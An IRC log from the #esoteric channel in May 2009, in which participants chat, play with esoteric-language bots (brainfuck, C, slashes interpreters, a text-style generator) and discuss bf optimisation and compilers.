statement in my mother tongue! 22:27:25 everyone does that 22:27:40 hehe. 22:27:55 frequency differ of course. 22:29:38 a 22:30:04 also, do forners really translate from their native language to english and vise versa? 22:30:18 you know those thin plastic threads found under on some plastic wrappings? that you use to open the wrapping 22:30:25 yes 22:30:28 right 22:30:35 i had to use one of them on the cd i ripped today 22:30:38 was a pain 22:30:43 well i did it yesterday still 22:30:44 ehird, I wonder who had the bright idea to put it on the outside on this wrapping! 22:30:52 * AnMaster is rather irritated 22:30:55 lal 22:31:16 -!- FireFly has quit ("Later"). 22:31:37 it's quite hot here, I wonder if my fans are working hard enoug 22:31:37 h 22:31:42 ehird, actually it worked pretty well on the other wrappings. Because it was on the right side. 22:31:43 on my computer that is 22:31:53 ehird, not on your brain? 22:32:08 hmm, i wonder if the brain runs hotter if you think more :^) 22:32:13 that would explain a lot 22:33:59 i had to use one of them on the cd i ripped today was a pain <-- so. why was it a pain? 22:34:05 it wasn't on the outside was it 22:34:12 they're just irritating to open 22:34:18 you have to find the place, pick at them for ages, then rip 22:34:34 ehird, the place is usally easy to find if they didn't match up the end perfectly 22:34:41 they seldom match up perfectly 22:36:01 however this is rather odd. CD 1: Non-matched up ends. the thread going from top to bottom of the case. CD 2: Non-matched: Thread going from left to right. CD 3: Matched ends. Thread on outside. CD 4: No thread at all. had to get knife to open it with in a corner. 22:36:06 and they were in a series. 22:36:10 Volumne 1-4 22:36:15 that makes no sense. 22:36:21 ehird, ^ 22:36:28 mm 22:36:31 volume* 22:45:53 It would be best if everyone admitted that this sentence is true. 22:46:45 To say something that's actually pertinent, I think the brain does indeed run hotter if you think more. 22:59:49 It would be best if everyone admitted that this sentence is true. <-- why 22:59:57 hidden paradox? 23:01:48 That sentence is an allegory or a metaphor or a symbol or something. 23:01:52 A satire. A sarcasm. 23:27:53 -!- coppro has joined. 23:37:17 night 2009-05-12: 00:01:00 -!- oerjan has joined. 00:05:46 -!- MizardX- has joined. 00:06:02 -!- MizardX has quit (Read error: 104 (Connection reset by peer)). 00:06:24 -!- MizardX- has changed nick to MizardX. 00:13:32 -!- jix has quit ("sleep"). 00:18:52 -!- Dewio has joined. 00:31:20 -!- Dewi has quit (Read error: 101 (Network is unreachable)). 00:38:24 wow... Primer is an awesome movie 00:38:54 the first time you watch it, you think things start getting weird 20 minutes before the film ends 00:39:09 but really... they start getting weird only 20 minutes after the film begins 00:39:49 it's pretty screwed up... and amazing... 00:41:18 are there any threading-oriented esolangs? 00:43:19 NOOOOOOOOOOOOOO 00:44:03 * coppro pokes Gracenotes 00:45:12 -!- puzzlet has quit (Remote closed the connection). 00:45:15 -!- puzzlet has joined. 00:48:59 coppro: check out http://esoteric.voxelperfect.net/wiki/Category:Concurrent_programming 00:49:11 only 4? 00:50:56 it's fairly rare, but there might be uncategorized ones 00:52:15 heh Network Headache may be one 00:52:33 (found from http://esoteric.voxelperfect.net/wiki/Category:Nondeterministic) 00:54:16 hm SNUSP has a concurrent variant 00:54:25 (found by searching for "thread") 00:54:33 hmm 00:54:44 of those 4, two are BF variants and two are Befunge-likes 00:55:05 and there is Threaded INTERCAL 00:55:26 yeah, good point 00:55:38 coppro: just bad categorization i take 00:56:02 SNUSP is both! 00:56:51 CLoop is parallel but not concurrent (no interaction) 00:57:46 TwoDucks 00:57:52 there are many 01:18:48 -!- oerjan has quit ("leaving"). 01:37:06 -!- GregorR has quit (Remote closed the connection). 01:38:19 -!- GregorR has joined. 01:43:13 -!- puzzlet_ has joined. 01:54:47 -!- oerjan has joined. 01:55:07 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 01:56:55 -!- psygnisfive has joined. 01:59:29 -!- Sgeo has joined. 02:00:36 -!- puzzlet_ has quit (Read error: 104 (Connection reset by peer)). 02:01:41 -!- puzzlet has joined. 02:29:14 * oerjan finds a bug 02:29:39 * pikhq sticks a cockroach on oerjan's keyboard 02:30:33 this one was virtual 02:30:45 although i found another ant in the bathroom earlier 02:30:50 That one is not. 02:31:01 EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW 02:31:04 (it is non-existent; big difference) 02:31:08 oh 02:35:00 OMG IT'S WORKING 02:37:44 lessee 02:38:03 !delinterp slashes 02:38:03 Interpreter slashes deleted. 02:38:25 !addinterp slashes perl http://oerjan.nvg.org/esoteric/slashes.pl 02:38:27 Interpreter slashes installed. 02:38:37 (slightly improved) 02:38:53 !slashes http://oerjan.nvg.org/esoteric/counter.slashes 02:39:02 bah 02:40:16 !slashes test 02:40:16 test 02:40:42 problem is, without newlines it never prints anything, with newlines no one but me will see it 02:41:09 Screwy. 02:41:09 !slashes http://oerjan.nvg.org/esoteric/counter.slashes 02:41:10 * 02:41:26 except the first line 02:41:36 hm no DCC CHAT 02:42:11 my other fear seems to come true: EgoBot doesn't allow enough time to reach the next iteration 02:42:20 oh well 02:43:16 wait what 02:43:23 now it doesn't work in my terminal either 02:45:12 huh the slashes interpreter has some trouble with newlines 02:47:18 * oerjan suspects some multiline setting problem 02:49:52 ah indeed missing s options on s/// 02:50:12 a backslash followed by newline won't be unescaped 02:50:56 et voila 02:51:10 !delinterp slashes 02:51:10 Interpreter slashes deleted. 02:51:18 !addinterp slashes perl http://oerjan.nvg.org/esoteric/slashes.pl 02:51:19 Interpreter slashes installed. 02:51:28 !slashes http://oerjan.nvg.org/esoteric/counter.slashes 02:51:29 * 02:52:11 !slashes http://oerjan.nvg.org/esoteric/counter.slashes 02:52:12 * 02:52:27 hmph 02:52:44 it now gives _one_ more line (with **) in DCC CHAT 02:53:00 this program is expensive :D 02:53:40 oh well it works in a terminal window 02:58:20 !slashes http://oerjan.nvg.org/esoteric/counter.slashes 02:58:21 * 03:01:10 !delinterp slashes 03:01:10 Interpreter slashes deleted. 03:01:18 !addinterp slashes perl http://oerjan.nvg.org/esoteric/slashes.pl 03:01:18 Interpreter slashes installed. 03:01:35 (my own interp still had an old bug that was fixed on the wiki) 03:02:13 GregorR: do you see anything more than two lines? 03:02:20 Nope 03:04:31 i think ive built my first generic-ish parser that produces a parse tree. o.o; 03:04:51 all my previous parsers were really customized to the language, but this one, no! 03:04:57 this one uses normal parsing methods. lol 03:13:05 god, what, did i kill the conversation? 03:13:49 * oerjan is busy preparing his slashes program with continuation line breaks 03:14:02 by modifying the haskell generator 04:20:32 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 04:21:59 -!- puzzlet has joined. 04:22:16 -!- puzzlet has quit (Read error: 104 (Connection reset by peer)). 04:26:59 -!- puzzlet has joined. 04:48:39 How's that ///ology coming along? 04:48:49 kerlo: see the wiki :) :) :) 04:50:38 slashes has so much potential 04:51:03 yeah now my bet is certainly on turing-completeness 04:51:20 Cool. 04:51:38 And yeah, non-Turing-completeness is kind of hard to imagine at this point. 04:51:54 I guess you win the $500 prize. 04:52:00 yay! 05:15:23 -!- coppro has quit (Remote closed the connection). 05:16:42 -!- Dewio has quit (lindbohm.freenode.net irc.freenode.net). 05:16:42 -!- ineiros has quit (lindbohm.freenode.net irc.freenode.net). 05:16:42 -!- Ilari has quit (lindbohm.freenode.net irc.freenode.net). 05:16:43 -!- Asztal has quit (lindbohm.freenode.net irc.freenode.net). 05:16:43 -!- ehird has quit (lindbohm.freenode.net irc.freenode.net). 05:16:43 -!- rodgort has quit (lindbohm.freenode.net irc.freenode.net). 05:16:43 -!- Sgeo has quit (lindbohm.freenode.net irc.freenode.net). 05:16:43 -!- comex has quit (lindbohm.freenode.net irc.freenode.net). 05:17:06 -!- Sgeo has joined. 05:17:06 -!- comex has joined. 05:17:42 -!- Dewio has joined. 05:17:42 -!- ehird has joined. 05:17:42 -!- ineiros has joined. 05:17:42 -!- Ilari has joined. 05:17:42 -!- rodgort has joined. 05:17:42 -!- Asztal has joined. 05:26:57 ew netsplit 05:30:34 -!- oerjan has quit ("leaving"). 05:58:04 -!- asie[brb] has joined. 05:58:08 -!- asie[brb] has changed nick to asiekierka. 05:58:12 Hello 05:58:14 ^style 05:58:14 Available: agora alice c64* darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube 05:58:19 yay 05:58:22 fungot: say something 05:58:22 asiekierka: another problem is that stop causes the keyboard matrix tables should not exceed the limit. it will " wrap around" back to ascii text of the basic rom. 05:58:39 fungot: I understand. Now, why would it wrap around? 05:58:39 asiekierka: preparatory routines: none note: ror instruction is tacked on to location 894 which is decoded by your program will continue to do this either by hitting the return key 05:58:50 :D 05:58:54 ^style youtube 05:58:55 Selected style: youtube (Some YouTube comments) 05:59:01 fungot: How do you feel? 05:59:01 asiekierka: and if there hadn't been people on board 05:59:09 fungot: Then what? 05:59:09 asiekierka: ive seen so many people wher on board this plane hit a forest at 200mph within 4 seconds of data to make a great father... your son seem to suggest, vote on. 05:59:16 ^style c64 05:59:16 Selected style: c64 (C64 programming material) 05:59:20 :D 05:59:28 so we have new styl-o-matics 06:00:08 ^style speeches 06:00:09 Selected style: speeches (misc. speeches from Project Gutenberg) 06:00:15 fungot: Are you nice? 06:00:23 ... 06:00:28 ......................... 06:00:34 what happened to the n-gram model? 06:00:40 fungot: Are you nice? 06:00:45 fungot: Hello. 06:00:49 ...O_o; 06:03:19 "Because I'm too busy right now to respond to important emails and update the site in a timely manner, I've taken the majority of the archives down." 06:04:02 what? where? 06:05:30 -!- Infinitismal has joined. 06:06:02 http://sites.google.com/site/c3dsarchives/ 06:12:28 i'm amazed how no-one made a "twitter" style yet 06:17:54 hm? 06:19:52 a twitter style what? 06:22:44 twits 06:22:50 just like youtube comment style 06:22:53 it has a lot of youtube comments 06:23:00 so twitter style would have many "twits" 06:29:16 no thats people who use twitter 06:32:45 oh 06:32:48 twitter messages then 06:32:49 also 06:32:51 going off 06:32:56 -!- asiekierka has quit. 07:02:17 -!- bsmntbombdood has changed nick to bsmntbombgirl. 07:11:11 -!- kar8nga has joined. 07:25:55 -!- kar8nga has quit (Read error: 54 (Connection reset by peer)). 07:29:26 -!- kar8nga has joined. 07:54:49 -!- kar8nga has quit (Remote closed the connection). 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:03:29 -!- puzzlet has quit (Remote closed the connection). 08:03:33 -!- puzzlet has joined. 08:32:46 -!- lereah_ has joined. 09:05:35 The messages themselves are "tweets", as I understand it. 09:28:23 -!- OKLOPOL has joined. 09:28:29 hello i'm an OKLOPOL 09:28:35 -!- OKLOPOL has changed nick to oklopol. 09:29:28 Now you gone went smaller. 09:29:54 that's how i manage, man. 09:30:08 i just broke a plate. 09:30:13 i dropped it. 09:30:19 it made a crash. 09:30:29 my ears said yikes 09:30:32 . 09:31:37 Manage the age of man. 09:37:00 sera meganame manage mares <<< makes no sense maybe, but it's the best i could do. 09:43:04 E-manage moon, no omega name. 09:46:27 -!- oklopol has quit (Read error: 60 (Operation timed out)). 09:46:56 I didn't think it was that bad. :/ 09:48:30 -!- Sgeo has quit ("Leaving"). 09:57:38 -!- oklodok has joined. 10:03:18 -!- oklopol has joined. 10:21:17 -!- oklodok has quit (Read error: 113 (No route to host)). 10:41:08 -!- ais523 has joined. 11:20:40 -!- tombom has joined. 11:22:28 -!- jix has joined. 11:44:11 -!- oklopol has quit (Read error: 104 (Connection reset by peer)). 12:32:16 -!- ais523 has quit (Remote closed the connection). 12:46:51 -!- KingOfKarlsruhe has joined. 12:57:32 -!- asiekierka has joined. 12:57:34 Hello 12:57:38 ^style 12:57:38 Available: agora alice c64 darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches* ss wp youtube 12:57:43 ^style youtube 12:57:43 Selected style: youtube (Some YouTube comments) 12:57:51 fungot: Esoteric stuff! 12:57:59 ...WTH? 12:58:02 fungot: Hi 12:58:44 I'm guessing it's in ignore mode; it only does four or so replies for one particular person consecutively, to make it a bit less annoying for people who try to get something done. 12:59:00 fungot: Walk like a YouTubeian. 12:59:00 fizzie: did every body die? sorry but thats just cuz she older and well documented crash but people died! put this in a box, and it wasn't... 12:59:14 There, now you have four replies again. 13:01:20 fizzie: Oh. 13:01:29 well, I just wanted to see if it works 13:02:42 and also, I just want to make a C64 OS :P 13:04:42 And I think I finally know how to do it :D 13:07:28 Well, I first need to have a way to output a single char. Answer: self-modifying code! :D 13:07:40 well, you can also do it with A and X but nah 13:07:48 you would still need to output it there anyway 13:27:14 -!- jix has quit ("leaving"). 13:33:18 -!- lereah_ has quit (Remote closed the connection). 13:37:47 Erlang is perfect for a bf optimiser really 13:37:55 the pattern matching makes it very easy 13:38:07 + the "multiple entry points to function" 13:38:34 for example the "combine ++ into +" is: 13:38:36 optimise([#bfn{ ins = add, off = Offset, val = V1 }|T], 13:38:36 [#bfn{ ins = add, off = Offset, val = V2 } = A|Result]) -> 13:38:36 optimise(T, [A#bfn{ val = V1 + V2 }|Result]); 14:09:46 -!- KingOfKarlsruhe has quit (Remote closed the connection). 14:23:44 -!- upyr[emacs] has joined. 14:33:10 fungot: what does this do 14:33:10 tombom: megadeth is who plays the role heath ledger plays in the movie? 14:36:13 hi upyr[emacs] 14:36:16 haven't seen you around 14:36:18 you new? 14:38:54 slashes is totally a reverse ripoff of my lanaugae 14:40:35 http://oerjan.nvg.org/esoteric/SlashesCounter.hs 14:40:36 wow 14:40:37 oerjan coding 14:40:46 punossible 14:44:33 It's not just oerjan-coding, but clever coding too. I did have the "use a character which scans through the program" idea too (it's so common in string-rewritingy things) but thought it'd need some looping; but of course it doesn't need to be unbounded there. 14:45:08 verily 14:52:54 ehird: hi. 14:53:04 hi 14:54:30 pseudorandom number generator with brainfuck - it's real? 14:55:02 upyr[emacs]: Sure. it produces the same results every run, of course ... 14:55:18 But the list of results it outputs should be more or less sufficient for pseudorandom purposes. 14:55:54 I should implement it for my C64 OS later on 14:56:01 upyr[emacs]: If you need, say, 1000 random numbers from 0-255, you can just tell the user to run as ((head -c 1000 /dev/urandom && cat) | bf foo.b) 14:56:12 and 1000 ,>s at the start of your program 14:56:20 but if you don't mind it being the same evry time... 14:59:56 YOu could pretty much say "PRESS ENTER" and run an infinite loop of pseudorandom generation until the user hits enter 14:59:57 :D 15:00:09 also, doh, my printing code does not work 15:00:19 asiekierka: you can't run code while listening for input 15:00:38 ... 15:00:42 you can't? 15:00:49 , blocks 15:00:53 this is trivial shit 15:01:03 no 15:01:07 this is IMPLEMENTATIONAL shit 15:01:13 what 15:01:23 ehird: ok.thanks 15:01:23 oh wait 15:01:26 i forgot about something 15:01:33 upyr[emacs]: yw 15:01:37 -!- asiekierka has set topic: #esoteric, the international hub for esoteric programming language design and deployment - #esoteric is not associated with the joke language Perl, please visit www.perl.org - logs: http://tunes.org/~nef/logs/esoteric/ | to make fungot talk different use ^style. 15:01:44 here 15:02:00 -!- ehird has set topic: international pub http://tunes.org/~nef/logs/esoteric/. 15:02:25 -!- asiekierka has set topic: international pub http://tunes.org/~nef/logs/esoteric/ | to make fungot talk different use ^style. 15:03:39 ^help 15:03:39 ^ ; ^def ; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool 15:03:52 -!- ehird has set topic: international pub http://tunes.org/~nef/logs/esoteric/. 15:03:53 ^show 15:03:53 echo reverb rev rot13 rev2 fib wc ul cho choo pow2 source help hw srmlebac uenlsbcmra scramble unscramble 15:03:55 everyone knows about ^style 15:03:57 :p 15:04:13 ^show scramble 15:04:14 >>,[>,]<[<]>[.>>]<[>>]<2[.<2] 15:04:19 ^scramble asciikierka 15:04:19 aciirakekis 15:04:29 ^scramble asterisks 15:04:30 atrsskies 15:04:33 ^unscramble atrsskies 15:04:34 asterisks 15:04:43 ^unscramble acirakekiis 15:04:43 asciiirkaek 15:04:45 :P 15:04:48 it's the ehird srmlebac algorithm 15:04:52 ^show srmlebac 15:04:53 >>,[>,]<[<]>[.>>]<[>>]<2[.<2] 15:04:53 and its inverse 15:05:00 they're the same 15:05:01 doh 15:05:08 asiekierka: scramble is an alias for srmlebac 15:05:15 same with unscramble/uenlsbcmra 15:05:23 ^scramble uenlsbcmra 15:05:23 unscramble 15:05:53 18273645 is how it works 15:06:04 I know 15:06:10 ^scramble 123456789 15:06:10 135798642 15:06:17 asiekierka: I did invent the algorithm, you know :P 15:06:18 ^scramble 12345678 15:06:18 13578642 15:06:24 erm... 15:06:25 ^unscramble 123456789 15:06:26 192837465 15:06:30 ^unscramble 12345678 15:06:30 18273645 15:06:34 There you go. 15:06:35 whew 15:06:54 ^unscramble eggs 15:06:54 esgg 15:07:10 ^scramble d eggs 15:07:10 degsg 15:07:13 http://oerjan.nvg.org/esoteric/SlashesCounter.hs <-- "-- By �rjan Johansen, May 2009."? 15:07:21 AnMaster: What about it? 15:07:28 ehird, encoding fail I think. 15:07:33 Nope, it's your fail. 15:07:35 * AnMaster tries ISO 15:07:36 It slows up perfectly fine for me. 15:07:39 *shows 15:08:00 It has no charset= in the Content-Type, but oh well. 15:08:02 ehird, maybe your client auto detect it as "ISO" and uses that. 15:08:11 No, in my client it displays wrongly. 15:08:12 on IRC I mean 15:08:14 In my browser it does not. 15:08:15 ah 15:08:16 right 15:08:20 -- By Ørjan Johansen, May 2009. 15:08:23 well mine defaulted to UTF-8 15:08:24 ^def ascram bf >>,[>,][[<]>.[-]>.[-][>]<.[-]<.[-]<] 15:08:24 Defined. 15:08:24 copy/pasting autoconverts 15:08:29 ^ascram spartans 15:08:39 ... 15:08:57 ^def ascram bf >>,[>,]+[[<]>.[-]>.[-][>]<.[-]<.[-]<] 15:08:58 Defined. 15:09:00 ^ascram spartans 15:09:00 sp 15:09:06 ... *sigh* 15:09:21 ^scramble spartans 15:09:21 satnsarp 15:09:23 scrambled spartans 15:09:31 i want to have my own algorithm too 15:09:38 mwaha 15:10:00 ^def ascram bf >>,[>,]<[[<]>.[-]>.[-][>]<.[-]<.[-]<] 15:10:01 Defined. 15:10:05 ^ascram testing! 15:10:05 te 15:10:30 The server sends "Content-Type: text/x-haskell" with no charset modifier, so it's a bit debatable. Unless Haskell happens to have a well-defined standard encoding? 15:10:43 Oh, ehird mentioned already. Still. 15:11:04 Still, there's a lot of mojibake out there if you don't autodetect. 15:11:13 ^def ascram >>,[>,]<[---<-<--<-----<][>>.<.>] 15:11:14 Usage: ^def 15:11:18 ^def ascram bf >>,[>,]<[---<-<--<-----<][>>.<.>] 15:11:19 Defined. 15:11:22 ^ascram test 15:11:27 *SIIIGH* 15:11:35 ^show scramble 15:11:35 >>,[>,]<[<]>[.>>]<[>>]<2[.<2] 15:11:42 try that 15:11:52 i'm using my own algorithm 15:11:52 its shorter too 15:11:52 doh 15:12:16 ^def ascram bf >>,[>,]<[---<-<--<-----<]>[>>.<.>] 15:12:16 Defined. 15:12:19 ^show ascram 15:12:19 >>,[>,]<[-3<-<-2<-5<]>[>>.<.>] 15:12:26 it looks like a crap algorithm :) 15:12:28 ^ascram testtest 15:12:28 rcoqrc 15:12:44 ...testte... forgot about 2 bytes 15:12:53 ^ascram testtestt 15:12:53 `qsq`qsq 15:13:03 O_O;; 15:13:57 * AnMaster considers non-destructive copy in bf. The shortest I can think of uses one scratch cell: [->+>+<<][+>-<] to copy to the cell two above, and use the one at one above for scratch. 15:14:00 Any shorter way? 15:14:33 ^def lasi bf ,[[>+<-],] 15:14:33 Defined. 15:14:40 ^lasi aaaaa 15:14:43 oh 15:14:52 ^def lasi bf ,[[>+<-],]>. 15:14:52 Defined. 15:14:57 ^lasi aaaaa 15:14:57 15:15:11 hm 15:15:18 ...does fungot use 8 bits 15:15:18 asiekierka: i like the old pics!!!!! no way, is it? i did get to me, the pilot if he tries to touch the ground 15:15:30 You don't really need to define commands for testing; you can just use "^bf code!input". 15:15:32 !help 15:15:33 Supported commands: addinterp bf_txtgen daemon daemons delinterp fyb help info kill userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 15:15:44 And yes, the cells are 8 bits. 15:15:45 I'd use egobot but it doesn't support input 15:15:48 in any form or shape 15:16:17 ...Are the cells wrapping 15:16:20 Yes. 15:16:36 ^lasi AAAAA 15:16:36 E 15:16:54 it should be ASCs but nah 15:17:07 Asiekierka's Stupid Checksum system 15:18:04 ^bf ,[[>+<-]>>+<<,]>.>>+++++++++++++[<+++>-]<.!AAAAA 15:18:04 E, 15:18:09 ...something wrong (again 15:18:10 15:15 asiekierka: I'd use egobot but it doesn't support input 15:18:14 ur an idyot 15:18:17 daemons lol 15:18:18 !help 15:18:18 Supported commands: addinterp bf_txtgen daemon daemons delinterp fyb help info kill userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 15:18:21 !help bf 15:18:21 Sorry, I have no help for bf! 15:18:28 !daemon butt bf ,[.,] 15:18:28 Daemon butt running. 15:18:31 !butt on the floor 15:18:31 on the floor 15:18:34 !butt indeed 15:18:34 ...oh 15:18:34 indeed 15:18:38 that works 15:18:42 !bf ,[.,]!hmm does this 15:18:45 nah 15:18:47 :P 15:18:55 !c printf("butt\n") 15:18:57 butt 15:19:25 :o 15:19:37 !c char b[1024];gets(b);puts(b) 15:19:38 ^bf ,[[>+<-]>>+<<,]>.>>++++++++++++[<++++>-]<.!AAAAA 15:19:38 E5 15:19:39 er 15:19:44 ^bf ,[[>+<-]>>+<<,]>.>>++++++++++++[<++++>-]<.!ABCDE 15:19:44 O5 15:19:46 !daemon cs c char b[1024];gets(b);puts(b) 15:19:47 Daemon cs running. 15:19:49 !cs abcdefg 15:20:42 !daemon bottles chiqrsx9p 9 15:20:42 Daemon bottles running. 15:20:44 !bottles 15:20:50 !info 15:20:50 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 15:20:57 (Just for the link.) 15:21:16 You know 15:21:27 oh, of course 15:21:31 !c typedef struct { int omg; } WHAT_YOU_SAY; WHAT_YOU_SAY destruction = { 4}; printf("%d\n", destruction.omg); 15:21:33 One day, I should make script-created lists of styles for each individual person on IRC 15:21:37 !daemon cs c char b[1024];gets(b);puts(b);fflush(stdout) 15:21:37 That daemon is already running! 15:21:40 for example 15:21:41 .... . 15:21:41 !delinterp cs 15:21:41 That interpreter doesn't exist! 15:21:42 !daemon cs c char b[1024];gets(b);puts(b);fflush(stdout) 15:21:42 That daemon is already running! 15:21:46 ... 15:21:48 it doesn't run my example! :_: 15:21:55 there will be a style for Gracenotes, ehird, asiekierka 15:21:55 Kill, don't delinterp. 15:21:57 !kill cs 15:21:57 Daemon cs killed. 15:21:59 !daemon cs c char b[1024];gets(b);puts(b);fflush(stdout) 15:22:00 Daemon cs running. 15:22:01 !cs aaa 15:22:02 aaa 15:22:05 !cs bbb 15:22:13 aha! 15:22:13 !daemon cs c char b[1024];for(;;){gets(b);puts(b);fflush(stdout);} 15:22:14 That daemon is already running! 15:22:16 !kill cs 15:22:16 Daemon cs killed. 15:22:17 !daemon cs c char b[1024];for(;;){gets(b);puts(b);fflush(stdout);} 15:22:17 Daemon cs running. 15:22:19 !cs a 15:22:23 !cs b 15:22:24 a 15:22:24 b 15:22:26 !cs c 15:22:26 c 15:22:28 !cs wtf, ehird 15:22:28 !cs d 15:22:28 wtf, ehird 15:22:28 d 15:22:33 yay 15:22:40 !cs don't play with fire.c 15:22:40 don't play with fire.c 15:22:50 Gracenotes: if you have some non-function body stuff you need to declare main() 15:22:56 can i talk with you, ehird? 15:23:02 no, asiekierka 15:23:12 !c typedef struct { int omg; } WHAT_YOU_SAY; int main() { WHAT_YOU_SAY destruction = { 4}; printf("%d\n", destruction.omg); return 0; } 15:23:14 ehird: but the plane said so! 15:23:25 *eyes suspiciously* 15:23:44 what 15:23:48 Gracenotes: wtf, plane 15:23:53 is egobot a bot 15:23:55 tombom: yes 15:23:58 tombom: asiekierka is controlling him 15:24:00 because he thinks it's funny 15:24:01 perhaps I also need... 15:24:05 tombom: Of epic plane proportions, so but. 15:24:06 he does this kind of stuff *a lot* 15:24:07 rught 15:24:19 an include? 15:24:25 aight, let's stop this nonsense 15:24:33 but not possible with semicolons 15:24:36 !c typedef struct { int omg; } WHAT_YOU_SAY; int main() { WHAT_YOU_SAY destruction = { 4}; printf("%d\n", destruction.omg); fflush(stdout); return 0; } 15:24:44 hm. 15:24:46 !cs do i still work? 15:24:52 ... 15:24:55 seems nto 15:24:57 not* 15:24:57 uh oh 15:24:58 yay 15:24:58 !help 15:24:58 Supported commands: addinterp bf_txtgen daemon daemons delinterp fyb help info kill userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 15:25:04 !forth ." hello world" cr 15:25:18 how odd. 15:25:34 it works on GCC if I #include 15:25:57 Based on a hg clone, it does: #include \n#include \n#include \n#include \n#include \nint main(int argc, char **argv) { ; return 0; } 15:26:22 fizzie: no, not if you declare things 15:26:22 I think 15:26:31 I didn't see any code related to that, but I might've missed. 15:26:38 hmmmmmmm 15:26:41 GregorR! 15:26:59 !c struct { int omg; } destruction = { 4 }; printf("%d\n", destruction.omg); fflush(stdout) 15:27:04 Well, that's a no-go too. 15:27:40 some errors would be nice ;_; 15:27:52 i'm sure it did 15:28:04 !c #include \n typedef struct { int omg; } WHAT_YOU_SAY; int main() { WHAT_YOU_SAY destruction = { 4}; printf("%d\n", destruction.omg); return 0; } 15:28:12 DO NOT WANT!! 15:28:33 !perl print "welp"; 15:28:42 THIS BOT IS NOT VERY GOOD 15:28:47 it's broken 15:28:52 asiekierka probably borken it 15:28:55 !perl print "welp\n"; 15:30:27 ^ul (left)(one)(this)(have)(just)(we)(now)(~S( )S:^):^ 15:30:27 now we just have this one left ...out of stack! 15:30:33 (Terminating conditions are so boring.) 15:31:30 how large is the stackattack? 15:31:52 anyone else watch Vampire Hunter D? 15:32:25 Fungot's ^ul stack is ffaa*** characters. 15:32:49 That's the misleading underflow message, though. 15:33:10 hm 15:33:19 ^ul (::::)(~:*~:^):^ 15:33:19 ...too much stack! 15:33:43 so 22500 chars 15:33:47 fizzie: what's the separator? 15:33:52 '? 15:33:55 "? 15:33:57 )? 15:34:00 \0 15:34:01 ? 15:34:06 \0, I think. 15:34:09 ...................................................................................................................................................... 15:34:18 what would be a good name for an optimiser pass for bf that changes: add, move pointer, add into: add, add offset 1, move pointer 15:34:19 ? 15:34:31 umm 15:34:35 that's nothing special 15:34:42 but 15:34:44 ehird: Actually "\0, I'm sure", since I use STRN's G/P to manipulate, and that does nul-terminated. 15:34:45 bf2c.hs calls it 15:34:54 the phrase "store motion pass" pops up but probably isn't relevant. 15:35:19 AnMaster: "combine Move-s along the program by pushing them to the end" 15:35:21 you're welcom 15:35:21 e 15:35:27 i'd call it move shifting 15:35:30 ehird, and I never said it was special. I just need a short snappy name. 15:35:34 ah shifting works 15:35:35 fizzie: including the I'm sure? 15:35:42 AnMaster: so (define (shift-moves ... 15:35:50 ehird: Yes. It's like Perl's "0 but true". 15:35:58 ehird, um. I'm not working on after. I'm working on in-between 15:36:00 atm 15:36:21 fizzie: does it accept \0s over irc? 15:36:22 >:) 15:36:39 You can't send \0s over IRC; it's disallowed by the protocol. 15:36:46 Well, I'm not sure how true that is in practice. 15:36:58 i'd bloody well find out, except... 15:37:04 i forget the key combination 15:37:21 fizzie, I'm pretty sure it is true 15:37:21 ...hey, did i just break EgoBot 15:37:22 !help 15:37:22 Supported commands: addinterp bf_txtgen daemon daemons delinterp fyb help info kill userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 15:37:24 ah, C-v C-S-2 15:37:27 ...No, i didn't 15:37:28 :( 15:37:31 !bf .++++++++++. 15:37:45 -!- fkjdskfdshjf has joined. 15:38:01 a 15:38:04 darn 15:38:05 that was a\0b 15:38:16 just \0 said no text to send 15:41:07 -!- fkjdskfdshjf has quit (Remote closed the connection). 15:44:16 ^bf ,[>,]<[.<]!123 15:44:17 321 15:46:22 ^bf >++++++[<++++++++>-]>++[<+++++>-]<[<.+>-] 15:46:22 0123456789 15:47:29 ^bf ,[>,]<[<.>.<<]!12345 15:47:29 4523 15:47:40 ^bf ,[>,]<[<.>.<<]>[.]!12345 15:47:41 4523 15:47:42 * Clang replacing GCC in the base system 15:47:44 http://lists.freebsd.org/pipermail/freebsd-stable/2009-May/049873.html 15:47:44 nah 15:47:49 god, freebsd is looking hot 15:47:58 jail(), clang ... 15:49:47 ^bf ++++++[>++++++++++<-]>++.<+++[>----------<-]>.[++++++++++>,----------]<[<]>[>.]!test 15:49:53 > ...out of time! 15:52:12 * Clang replacing GCC in the base system // so everything is going to be compiled via LLVM? Interesting. 15:52:20 GregorR: not everything 15:52:22 just the base system 15:52:22 Even the kernel? 15:52:26 user applications will still be gcc'd 15:52:29 and I'm not 